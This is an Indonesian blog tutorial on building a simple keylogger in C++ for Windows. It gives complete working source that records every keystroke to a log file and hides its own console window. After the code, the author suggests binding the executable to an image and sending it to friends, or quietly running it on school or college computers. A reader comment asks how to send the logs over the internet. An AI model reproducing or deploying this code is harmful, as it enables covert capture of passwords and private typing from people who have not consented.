Skip to main content

MEMBUAT KEYLOGGER SEDERHANA DENGAN C++

Hai semua, pada kesempatan kali ini saya akan berbagi dan share tentang bagaimana membuat keylogger sederhana dengan C+ +. Kita Langsung Aja Yuk.

Perlengkapan Yang Dibutuhkan:
1. Dev C + +. Kalau belum punya bisa download di http://www.bloodsheed.net/
2. Cukup Paham Dengan Visual C + +

Langkah-Langkahnya:
1. Install Dev C + + kemudian jalankan Dev C + + compiler.
2. Pilih file -> New -> Source File (Akan terlihat lembar kerja kosong)
3. Copy code dibawah ini dan pastekan ke lembar kerja kosong tersebut
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{
Stealth();
char i;


while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;


FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");


cout << key_stroke << endl;


if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}


/* *********************************** */


void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
4. Compile kode tersebut (ctrl+F9)



5. Sekarang coba jalankan program dengan cara, pilih Execute -> Run (ctrl+F10)

Sekarang keylogger Anda akan berjalan di sistem/PC anda. apapun yang Anda ketik menggunakan keyboard, akan disimpan dalam file log.txt.
Anda dapat melihat file log.txt pada tempat dimana Anda menyimpan file.

Mengikat file exe dengan gambar atau file dan mengirimkannya ke teman Anda.
(0r)
jika Anda memiliki akses fisik ke perguruan tinggi / sistem sekolah, lalu salin file exe dalam sistem itu dan menjalankannya.

Hanya itu saja yang bisa saya sampaikan. Semoga ilmu diatas bisa bermanfaat bagi kita semua. Mohon maaf jika ada yang salah.

Comments

  1. This comment has been removed by the author.

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. :f whah makasih gan. saya jg lagi belajar c++ nih, bbrapa waktu lalu liat dosen buat keylog soal nya, keren. (msih sem II ni..)
    oh ya gan, kalo misal program tsb diletakkan pada komp lain, tp hasil log tetap dikirim ke pc kita lewat internet kira2 bisa ngga ya? lebih rumit ya? hehe.. trims...
    :-g
    trus apakah emang keluar warning sperti ini? :?
    C:\Users\Lorenzo\Documents\Dev-C++\BCS.cpp [Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

    ReplyDelete

Post a Comment

Popular posts from this blog

SCAN VIRUS DENGAN NETSTAT

Hi... All.. Langsung aja ke penjelasan yach... Berikut adalah Langkah-langkah nya: 1. Buka Task Manager (ctrl + alt + del) 2. Klik View dan Pilih Select Columns

PHISING DAN CONTOH CARA MEMBUAT PHISING PAGE

Phising merupakan kata plesetan dari bahasa Inggris yang berarti memancing. Dalam dunia yang serba terhubung secara elektronik saat ini, istilah phising banyak diartikan sebagai suatu cara untuk memancing seseorang ke halaman tertentu. Phising tidak jarang digunakan oleh para pelaku kriminal di internet untuk memancing seseorang agar mendatangi alamat web melalui e-mail, salah satu tujuannya adalah untuk menjebol informasi yang sangat pribadi dari sang penerima email, seperti password, kartu kredit, dll. Diantaranya dengan mengirimkan informasi yang seakan-akan dari penerima e-mail mendapatkan pesan dari sebuah situs, lalu mengundangnya untuk mendatangi sebuah situs palsu. Situs palsu dibuat sedemikian rupa yang penampilannya mirip dengan situs asli. lalu ketika korban mengisikan password maka pada saat itulah penjahat ini mengetahui password korban. Penggunaan situs palsu ini disebut juga dengan istilah pharming.

WEBSITE ERROR SAAT DI BUKA

Mungkin diantara Kita pernah mengalami masalah saat membuka website, dan yang keluar bukan isi konten secara keseluruhan dari website tersebut, melainkan error (Page not Found), atau bahkan blank dan tidak muncul sama sekali. Dan jika mengalami masalah seperti ini, pasti Kita dibuat kesal dan bertanya-tanya, “Apakah Server sedang Down?” atau ada masalah apa? Apalagi website kita termasuk yang memiliki traffic tinggi dan kalau sampai tidak bisa dibuka, berapa kerugian yang diakibatkan oleh masalah tersebut. Dan hal yang paling sering di lakukan oleh kita sebagai user dari sebuah hosting shared adalah berbentuk protes dan beranggapan bahwa server sedang down atau sedang mengalami masalah uptime. Kadang di hosting Kami Dreamlandhost juga pernah mengalami masalah seperti itu, tapi setelah dilakukan pengecekan, hoster lain juga mengalami hal yang sama user marah2 karena websitenya tidak bisa di akses di komputernya sendiri, tetapi di komputer lain dengan koneksi internet lain, halaman